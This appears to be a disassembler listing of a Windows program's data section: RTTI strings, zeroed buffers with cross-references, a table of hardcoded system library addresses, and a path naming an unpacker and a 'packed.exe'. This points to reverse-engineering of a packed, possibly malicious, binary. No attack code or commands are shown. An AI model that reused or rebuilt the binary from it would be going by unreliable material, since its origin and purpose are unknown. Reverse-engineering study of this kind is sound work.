		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset off_424D00
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43C3C8	dd offset off_424D00	; DATA XREF: _1:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_43C3E8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_43C3EA	dw 0			; DATA XREF: sub_40144A+1E3w
word_43C3EC	dw 0			; DATA XREF: sub_40144A+1E9w
word_43C3EE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_43C3F0	db 0			; DATA XREF: sub_40144A+1F7w
byte_43C3F1	db 0			; DATA XREF: sub_40144A+1FEw
word_43C3F2	dw 0			; DATA XREF: sub_40144A+204w
dword_43C3F4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_43C3F8	dd 0			; DATA XREF: sub_40144A+258w
byte_43C3FC	db 0			; DATA XREF: sub_40144A+26Aw
byte_43C3FD	db 0			; DATA XREF: sub_40144A+27Dw
word_43C3FE	dw 0			; DATA XREF: sub_40144A+295w
word_43C400	dw 0			; DATA XREF: sub_40144A+2A4w
word_43C402	dw 0			; DATA XREF: sub_40144A+29Cw
dword_43C404	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_43C808	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_43C80C	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_43C810	dd 7A5h			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_43C81C	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_43C824	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Bo ...
dword_43C828	dd 2080Ah		; DATA XREF: sub_404853+8w
					; sub_40494F+2D3o
		align 10h
dword_43C830	dd 2 dup(0)		; DATA XREF: sub_40494F+209o
dword_43C838	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_43C83C	dd 0			; DATA XREF: sub_4030E8+AEr
					; _0:004042D4r	...
		dd 2 dup(0)
dword_43C848	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_43C84C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 3E6h	dup(0)
dword_43D7E8	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_43D800	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_43D804	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_43D908	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43DA0C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_43DA10	dd 0			; DATA XREF: sub_407252+52w
dword_43DA14	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_43DA18	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_43DA98	dd 0			; DATA XREF: sub_407252+8Fw
dword_43DA9C	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_43DAA0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_43DAA8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_43DAAC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_43DD34	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_43DE38	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_43DE40	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_43DE44	dd 0			; DATA XREF: sub_407252+2E7w
dword_43DE48	dd 0			; DATA XREF: sub_407252+2F4w
dword_43DE4C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_43DE54	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43DE5C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_43DF60	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_43E064	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_43E068	dd 0			; DATA XREF: sub_407252+171w
dword_43E06C	dd 0			; DATA XREF: sub_407252+1EEr
dword_43E070	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_43E0F0	dd 0			; DATA XREF: sub_407252+1AEw
dword_43E0F4	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_43E0F8	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_43E100	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_43E108	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_43E308	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43EB08	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43F308	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43F30C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43F310	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43F314	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43F318	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43F518	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43F520	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43F524	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43F528	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43F52C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43F530	dd 77C72C6Bh		; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43F534	dd 77EBA994h		; DATA XREF: sub_40981F+65w
					; sub_415188+F5r
dword_43F538	dd 7622A3F4h		; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43F53C	dd 71C45229h		; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43F540	dd 71C24870h		; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43F544	dd 77C71BB0h		; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43F548	dd 77D4808Bh		; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43F54C	dd 71C4502Ch		; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43F550	dd 77DE801Bh		; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43F554	dd 77DDACABh		; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43F558	dd 77DE8075h		; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43F55C	dd 77DD7496h		; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43F560	dd 71AB1B7Bh		; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43F564	dd 77E686CCh		; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43F568	dd 71C2498Bh		; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43F56C	dd 77DDAB2Fh		; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43F570	dd 7620E8C3h		; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43F574	dd 77DD23D7h		; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43F578	dd 76214750h		; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43F57C	dd 77E6D75Bh		; DATA XREF: sub_40981F+B3w
dword_43F580	dd 7620BD61h		; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43F584	dd 71AB60C9h		; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43F588	dd 77EBA6E9h		; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43F58C	dd 76D62A58h		; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43F590	dd 76F36EAAh		; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43F594	dd 77E802FCh		; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43F598	dd 77C75455h		; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43F59C	dd 71AB12A7h		; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w ...
dword_43F5A0	dd 71C574FAh		; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43F5A4	dd 71AB1746h		; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43F5A8	dd 71B28D0Dh		; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43F5AC	dd 762211EFh		; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43F5B0	dd 77D902E3h		; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43F5B4	dd 71C2FA86h		; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43F5B8	dd 77DE1291h		; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43F5BC	dd 77E2C1B3h		; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43F5C0	dd 73B81E3Bh		; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43F5C4	dd 71ABF628h		; DATA XREF: sub_40981F+68Ew
					; sub_41547E+D0r
dword_43F5C8	dd 71AB1836h		; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43F5CC	dd 77C72889h		; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43F5D0	dd 71C453F8h		; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43F5D4	dd 77DD5C55h		; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43F5D8	dd 77E96645h		; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43F5DC	dd 77428B97h		; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43F5E0	dd 71AB41DAh		; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43F5E4	dd 762059A3h		; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43F5E8	dd 71C4A1B4h		; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43F5EC	dd 1F7CD214h		; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43F5F0	dd 77D4456Bh		; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43F5F4	dd 76D629BBh		; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43F5F8	dd 1F7B9D96h		; DATA XREF: sub_40981F+BF9w
dword_43F5FC	dd 71AB1740h		; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43F600	dd 7620AFB6h		; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43F604	dd 77D5C13Ah		; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43F608	dd 77D45B19h		; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43F60C	dd 71AB157Eh		; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43F610	dd 71AB3E5Dh		; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43F614	dd 71AB14DCh		; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43F618	dd 0CC0004h		; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43F61C	dd 77DD590Bh		; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43F620	dd 71ABD755h		; DATA XREF: sub_407D66+98r
					; sub_40981F+681w ...
dword_43F624	dd 77DF7311h		; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43F628	dd 77DDA2AFh		; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43F62C	dd 1F7CD927h		; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43F630	dd 76206853h		; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43F634	dd 77D4932Ch		; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43F638	dd 77D5E310h		; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43F63C	dd 76206B7Fh		; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43F640	dd 71AB1444h		; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43F644	dd 77DD189Ah		; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43F648	dd 71AB3F8Dh		; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43F64C	dd 77DD5D20h		; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43F650	dd 71AB1890h		; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43F654	dd 77C76B34h		; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43F658	dd 77D5E38Ch		; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43F65C	dd 77DDA20Bh		; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43F660	dd 76F36EEBh		; DATA XREF: sub_40981F+A73w
dword_43F664	dd 71AB12A7h		; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43F668	dd 71AB1746h		; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43F66C	dd 77EBA595h		; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43F670	dd 77C7531Dh		; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43F674	dd 77D4BDCAh		; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43F678	dd 71C3516Ah		; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43F67C	dd 71AB32CAh		; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43F680	dd 71AB5690h		; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43F684	dd 1F7CB8F8h		; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43F688	dd 77EBB1E7h		; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43F68C	dd 77DD59F0h		; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43F690	dd 71AB5DE2h		; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43F694	dd 71AB3ECEh		; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43F698	dd 73B81B0Fh		; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43F69C	dd 76204E4Dh		; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43F6A0	dd 0			; DATA XREF: sub_40981F+112w
dword_43F6A4	dd 1F7D886Ah		; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43F6A8	dd 71AB12F8h		; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43F6AC	dd 77C76551h		; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43F6B0	dd 77C729E2h		; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43F6B4	dd 77C7212Fh		; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43F6B8	dd 71AB1AF4h		; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43F6BC	dd 77D5E303h		; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43F6C0	dd 71C4576Ch		; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43F6C4	dd 77D4702Fh		; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43F6C8	dd 77E6C0E3h		; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43F6CC	dd 71AB1ED3h		; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43F6D0	dd 71B2A381h		; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43F6D4	dd 77DDA595h		; DATA XREF: sub_40981F+31Cw
					; sub_41511D+55r
dword_43F6D8	dd 77DD22EAh		; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43F6DC	dd 773F97B0h		; DATA XREF: sub_40981F+B7Bw
dword_43F6E0	dd 76D67A29h		; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43F6E4	dd 76D674FAh		; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43F6E8	dd 71AB3C22h		; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43F6EC	dd 71AB2BBFh		; DATA XREF: sub_407D66+88r
					; sub_40981F+674w ...
dword_43F6F0	dd 1F7BA3A9h		; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43F6F4	dd 71AB401Ch		; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43F6F8	dd 71C214BAh		; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43F6FC	dd 71AB868Dh		; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43F700	dd 71AB1A6Dh		; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43F704	dd 71AB155Ah		; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43F708	dd 71B22C25h		; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43F70C	dd 71AB5A01h		; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43F710	dd 71B2ACCBh		; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43F714	dd 77E78C17h		; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43F718	dd 77D49A11h		; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43F720	dd 76D62A37h		; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
off_43F724	dd offset sub_49B1C7	; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43F728	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43F72C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43F730	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43F734	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43F738	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43F73C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43F740	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43F744	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43F748	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43F74C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43F750	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43F754	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43F758	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43F75C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43F760	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43F764	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43F768	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43F76C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43F770	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43F774	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43F778	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43F77C	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43F780	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43F784	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43F788	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43F78C	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43F790	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43F794	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43F798	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43F99C	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43F9B0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43F9B4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43F9B8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43F9BC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43F9C0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43F9F4	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43F9FC	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43FA34	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_443A34	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_443A38	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_443A70	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_443A78	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_443AD4	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_443CD4	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_443CD8	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_443D34	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_443F34	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_443F38	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_444138	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_444340	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_444358	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_444EC0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4450C0	dd 0			; DATA XREF: sub_416D5A+41w
					; sub_416E95+40w ...
dword_4450C4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4450C8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_41680E+AEw ...
dword_4450CC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_4450D0	dd 0			; DATA XREF: sub_407D66+11Ew
					; sub_407F4D+53r ...
dword_4450D4	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_4450D8	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 19Dh	dup(0)
dword_445750	dd 6A2Ch dup(0)		; DATA XREF: _2:off_42A2D0o
dword_460000	dd 0A714h dup(0)	; DATA XREF: _4:00491B4Co
dword_489C50	dd 1Bh			; DATA XREF: sub_407110:loc_40717Er
					; sub_40E6A9+3Aw ...
		align 8
dword_489C58	dd 0			; DATA XREF: sub_40E6A9:loc_40EAA4o
dword_489C5C	dd 20h dup(0)		; DATA XREF: sub_40E6A9+393o
					; sub_40E6A9+44Co ...
dword_489CDC	dd 10h dup(0)		; DATA XREF: sub_40E6A9+3AAo
					; sub_40EE72+929o
dword_489D1C	dd 24h dup(0)		; DATA XREF: sub_40E6A9+3C1o
dword_489DAC	dd 0			; DATA XREF: sub_40E6A9+3B5w
					; sub_40E6A9+463w ...
dword_489DB0	dd 0			; DATA XREF: sub_40E6A9+3D4w
		align 10h
dword_489DC0	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_489DC8	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_489DCC	dd 0			; DATA XREF: sub_40E6A9+400w
					; sub_40E6A9+417r ...
dword_489DD0	dd 0			; DATA XREF: sub_40E6A9+398w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_489DDC	dd 0			; DATA XREF: sub_41547E+146r
		dd 0
dword_489DE4	dd 1Bh dup(0)		; DATA XREF: sub_415D68+8Do
dword_489E50	dd 0			; DATA XREF: sub_416FA2+16o
					; sub_416FC1+19o
dword_489E54	dd 65h dup(0)		; DATA XREF: sub_416F55+3Do
byte_489FE8	db 0			; DATA XREF: sub_416C53+6Ar
					; sub_416C53+98w
		align 4
		dd 2 dup(0)
dword_489FF4	dd 0			; DATA XREF: sub_417D73+Aw
dword_489FF8	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_48A000	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_48A002	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_48A006	dw 0			; DATA XREF: sub_4186B1+3Br
word_48A008	dw 0			; DATA XREF: sub_4186B1+2Er
word_48A00A	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_48A010	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_48A014	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_48A018	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_48A01C	dd 0			; DATA XREF: sub_41FEC6+13Ar
dword_48A020	dd 0A28h		; DATA XREF: _0:00419C36w
dword_48A024	dd 501h			; DATA XREF: _0:00419C2Dw
dword_48A028	dd 5			; DATA XREF: _0:00419C22w
dword_48A02C	dd 1			; DATA XREF: _0:00419C14w
dword_48A030	dd 1			; DATA XREF: sub_40E6A9:loc_40E98Cr
					; sub_41F240+91w
dword_48A034	dd 0A30B20h		; DATA XREF: sub_40E6A9+2ECr
					; sub_40E6A9+30Cr ...
		dd 0
dword_48A03C	dd 0A30B48h		; DATA XREF: sub_41F187+44w
					; sub_421DAE+9r ...
dword_48A040	dd 0			; DATA XREF: sub_422492+36r
dword_48A044	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_48A04C	dd offset aCM_unpackerPac ; DATA XREF: sub_41F240+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48A054	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_48A058	dd 0			; DATA XREF: sub_419B07+27w
dword_48A05C	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_48A060	dd 0			; DATA XREF: _0:00419C68w
					; sub_41F187:loc_41F199r ...
		align 8
dword_48A068	dd 0			; DATA XREF: sub_419CDAr sub_419CFFr ...
dword_48A06C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_48A074	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_48A078	dd 0			; DATA XREF: sub_41AB54r
dword_48A07C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_48A080	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_48A084	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_48A088	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_48A08C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_48A090	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
